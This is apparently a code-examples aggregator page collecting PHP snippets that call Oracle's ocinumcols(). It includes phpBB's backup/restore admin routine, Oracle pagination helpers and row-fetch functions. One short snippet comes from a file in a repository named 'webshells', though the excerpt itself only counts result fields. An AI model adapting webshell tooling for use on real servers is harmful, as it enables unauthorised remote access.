									WHERE RDB$SYSTEM_FLAG=0
										AND RDB$VIEW_BLR IS NULL';
                                $result = $db->sql_query($sql);
                                while ($row = $db->sql_fetchrow($result)) {
                                    if (stripos($row['table_name'], $table_prefix) === 0) {
                                        $tables[] = $row['table_name'];
                                    }
                                }
                                $db->sql_freeresult($result);
                                break;
                            case 'oracle':
                                $sql = 'SELECT TNAME as table_name
									FROM TAB';
                                $result = $db->sql_query($sql);
                                while ($row = $db->sql_fetchrow($result)) {
                                    if (stripos($row['table_name'], $table_prefix) === 0) {
                                        $tables[] = $row['table_name'];
                                    }
                                }
                                $db->sql_freeresult($result);
                                break;
                        }
                        foreach ($tables as $table) {
                            $template->assign_block_vars('tables', array('TABLE' => $table));
                        }
                        $template->assign_vars(array('U_ACTION' => $this->u_action . '&amp;action=download'));
                        $available_methods = array('gzip' => 'zlib', 'bzip2' => 'bz2');
                        foreach ($available_methods as $type => $module) {
                            if (!@extension_loaded($module)) {
                                continue;
                            }
                            $template->assign_block_vars('methods', array('TYPE' => $type));
                        }
                        $template->assign_block_vars('methods', array('TYPE' => 'text'));
                        break;
                }
                break;
            case 'restore':
                switch ($action) {
                    case 'submit':
                        $delete = request_var('delete', '');
                        $file = request_var('file', '');
                        preg_match('#^(\\d{10})\\.(sql(?:\\.(?:gz|bz2))?)$#', $file, $matches);
                        $file_name = $phpbb_root_path . 'store/' . $matches[0];
                        if (!(file_exists($file_name) && is_readable($file_name))) {
                            trigger_error($user->lang['BACKUP_INVALID']);
                        }
                        if ($delete) {
                            unlink($file_name);
                            trigger_error($user->lang['BACKUP_DELETE']);
                        }
                        $data = file_get_contents($file_name);
                        switch ($matches[2]) {
                            case 'sql.bz2':
                                $data = bzdecompress($data);
                                break;
                            case 'sql.gz':
                                $data = gzinflate(substr($data, 10));
                                break;
                        }
                        $download = request_var('download', '');
                        if ($download) {
                            $name = $matches[0];
                            switch ($matches[2]) {
                                case 'sql':
                                    $mimetype = 'text/x-sql';
                                    break;
                                case 'sql.bz2':
                                    $mimetype = 'application/x-bzip2';
                                    break;
                                case 'sql.gz':
                                    $mimetype = 'application/x-gzip';
                                    break;
                            }
                            header('Pragma: no-cache');
                            header("Content-Type: {$mimetype}; name=\"{$name}\"");
                            header("Content-disposition: attachment; filename={$name}");
                            echo $data;
                            die;
                        }
                        if (!empty($data)) {
                            // Strip out sql comments...
                            remove_remarks($data);
                            switch (SQL_LAYER) {
                                case 'firebird':
                                    $delim = ';;';
                                    break;
                                case 'mysql':
                                case 'mysql4':
                                case 'mysqli':
                                case 'sqlite':
                                case 'postgres':
                                    $delim = ';';
                                    break;
                                case 'oracle':
                                    $delim = '/';
                                    break;
                                case 'mssql':
                                case 'mssql-odbc':
                                    $delim = 'GO';
                                    break;
                            }
                            $pieces = split_sql_file($data, $delim);
                            $sql_count = count($pieces);
                            for ($i = 0; $i < $sql_count; $i++) {
                                $sql = trim($pieces[$i]);
                                if (!empty($sql) && $sql[0] != '#') {
                                    $db->sql_query($sql);
                                }
                            }
                        }
                        add_log('admin', 'LOG_DB_RESTORE');
                        trigger_error($user->lang['RESTORE_SUCCESS']);
                        break;
                    default:
                        $selected = false;
                        $methods = array('sql');
                        $available_methods = array('sql.gz' => 'zlib', 'sql.bz2' => 'bz2');
                        foreach ($available_methods as $type => $module) {
                            if (!@extension_loaded($module)) {
                                continue;
                            }
                            $methods[] = $type;
                        }
                        $dir = $phpbb_root_path . 'store/';
                        $dh = opendir($dir);
                        while (($file = readdir($dh)) !== false) {
                            if (preg_match('#^(\\d{10})\\.(sql(?:\\.(?:gz|bz2))?)$#', $file, $matches)) {
                                $supported = in_array($matches[2], $methods);
                                if ($supported == 'true') {
                                    $template->assign_block_vars('files', array('FILE' => $file, 'NAME' => gmdate("d-m-Y H:i:s", $matches[1]), 'SUPPORTED' => $supported));
                                    $selected = true;
                                }
                            }
                        }
                        closedir($dh);
                        if ($selected === true) {
                            $template->assign_var('EXISTS', true);
                        }
                        $template->assign_vars(array('U_ACTION' => $this->u_action . '&amp;action=submit'));
                        break;
                }
                break;
        }
    }
コード例 #8
0
ファイル: Oracle.php プロジェクト: uwitec/01technology
 /**
  * 分页算法从 adodb 修改
  */
 function selectLimit($sql, $length = 'ALL', $offset = 0)
 {
     if (strpos($sql, '/*+') !== false) {
         $sql = str_replace('/*+ ', '/*+FIRST_ROWS ', $sql);
     } else {
         $sql = preg_replace('/^[ \\t\\n]*SELECT/i', 'SELECT /*+FIRST_ROWS*/', $sql);
     }
     $selectOffsetAlg1 = 100;
     $inputarr = array();
     if ($offset < $selectOffsetAlg1) {
         if ($length > 0) {
             if ($offset > 0) {
                 $length += $offset;
             }
             $sql = "SELECT * FROM ({$sql}) WHERE ROWNUM <= :length";
             $inputarr['length'] = $length;
         }
         $stmt = $this->execute($sql, $inputarr);
         for ($i = 0; $i < $offset; $i++) {
             ocifetch($stmt);
         }
         return $stmt;
     } else {
         // Algorithm by Tomas V V Cox, from PEAR DB oci8.php
         // Let Oracle return the name of the columns
         $qfields = "SELECT * FROM ({$sql}) WHERE NULL = NULL";
         $stmt = ociparse($this->conn, $qfields);
         if (!$stmt) {
             return false;
         }
         if (is_array($inputarr)) {
             foreach (array_keys($inputarr) as $k) {
                 ocibindbyname($stmt, $k, $inputarr[$k], -1);
             }
         }
         if (!ociexecute($stmt, OCI_DEFAULT)) {
             ocifreestatement($stmt);
             return false;
         }
         $ncols = ocinumcols($stmt);
         for ($i = 1; $i <= $ncols; $i++) {
             $cols[] = '"' . ocicolumnname($stmt, $i) . '"';
         }
         ocifreestatement($stmt);
         $fields = implode(', ', $cols);
         $length += $offset;
         $offset += 1;
         // in Oracle rownum starts at 1
         $sql = "SELECT {$fields} FROM " . "(SELECT rownum as adodb_rownum, {$fields} FROM " . "({$sql})" . ' WHERE rownum <= :adodb_nrows) WHERE adodb_rownum >= :adodb_offset';
         $inputarr['adodb_nrows'] = $length;
         $inputarr['adodb_offset'] = $offset;
         return $this->execute($sql, $inputarr);
     }
 }
コード例 #9
0
 /**
  * Get the number of fields that were selected by the SELECT query.
  * Get the number of fields that were selected by the SELECT query.
  * @access public
  * @return integer The number of fields.
  **/
 function getNumberOfFields()
 {
     return ocinumcols($this->_resourceId);
 }
コード例 #10
0
ファイル: dbClass2.php プロジェクト: modulexcite/frameworks
 function NumFields($rsMain)
 {
     return ocinumcols($rsMain);
 }
コード例 #11
0
function da_sql_list_fields($table, $link, $config)
{
    $res = @da_sql_query($link, $config, "SELECT * from {$table} WHERE ROWNUM <=1");
    if ($res) {
        $fields[res] = array();
        for ($i = 1; $i <= ocinumcols($res); $i++) {
            array_push($fields[res], strtolower(OCIColumnName($res, $i)));
        }
        $fields[num] = @ocinumcols($res);
    } else {
        return NULL;
    }
    return $fields;
}
コード例 #12
0
ファイル: oracle.php プロジェクト: erico-deh/ocPortal
 /**
  * Get the rows returned from a SELECT query.
  *
  * @param  resource		The query result pointer
  * @param  ?integer		Whether to start reading from (NULL: irrelevant for this forum driver)
  * @return array			A list of row maps
  */
 function db_get_query_rows($stmt, $start = NULL)
 {
     $out = array();
     $i = 0;
     $num_fields = ocinumcols($stmt);
     $types = array();
     $names = array();
     for ($x = 1; $x <= $num_fields; $x++) {
         $types[$x] = ocicolumntype($stmt, $x);
         $names[$x] = strtolower(ocicolumnname($stmt, $x));
     }
     while (ocifetch($stmt)) {
         if (is_null($start) || $i >= $start) {
             $newrow = array();
             for ($j = 1; $j <= $num_fields; $j++) {
                 $v = ociresult($stmt, $j);
                 if (is_object($v)) {
                     $v = $v->load();
                 }
                 // For CLOB's
                 if ($v === false) {
                     fatal_exit(do_lang_tempcode('QUERY_FAILED', ocierror($stmt)));
                 }
                 $name = $names[$j];
                 $type = $types[$j];
                 if ($type == 'NUMBER') {
                     if (!is_null($v)) {
                         $newrow[$name] = intval($v);
                     } else {
                         $newrow[$name] = NULL;
                     }
                 } else {
                     if ($v == ' ') {
                         $v = '';
                     }
                     $newrow[$name] = $v;
                 }
             }
             $out[] = $newrow;
         }
         $i++;
     }
     return $out;
 }
コード例 #13
0
/**
 *  db_numfields() - Returns the number of fields in this result set
 *
 *  @param		sting	Query result set handle
 */
function db_numfields($lhandle)
{
    return @ocinumcols($lhandle);
}
コード例 #14
0
ファイル: wow.php プロジェクト: halitalptekin/webshells
 function get_num_fields()
 {
     $this->num_fields = 0;
     switch ($this->db) {
         case 'MySQL':
             $this->num_fields = @mysql_num_fields($this->res);
             break;
         case 'MSSQL':
             $this->num_fields = @mssql_num_fields($this->res);
             break;
         case 'PostgreSQL':
             $this->num_fields = @pg_num_fields($this->res);
             break;
         case 'Oracle':
             $this->num_fields = @ocinumcols($this->res);
             break;
     }
 }
コード例 #15
0
ocidefinebyname();
ocierror();
ociexecute();
ocifetch();
ocifetchinto();
ocifetchstatement();
ocifreecollection();
ocifreecursor();
ocifreedesc();
ocifreestatement();
ociinternaldebug();
ociloadlob();
ocilogoff();
ocilogon();
ocinewcollection();
ocinewcursor();
ocinewdescriptor();
ocinlogon();
ocinumcols();
ociparse();
ociplogon();
ociresult();
ocirollback();
ocirowcount();
ocisavelob();
ocisavelobfile();
ociserverversion();
ocisetprefetch();
ocistatementtype();
ociwritelobtofile();
ociwritetemporarylob();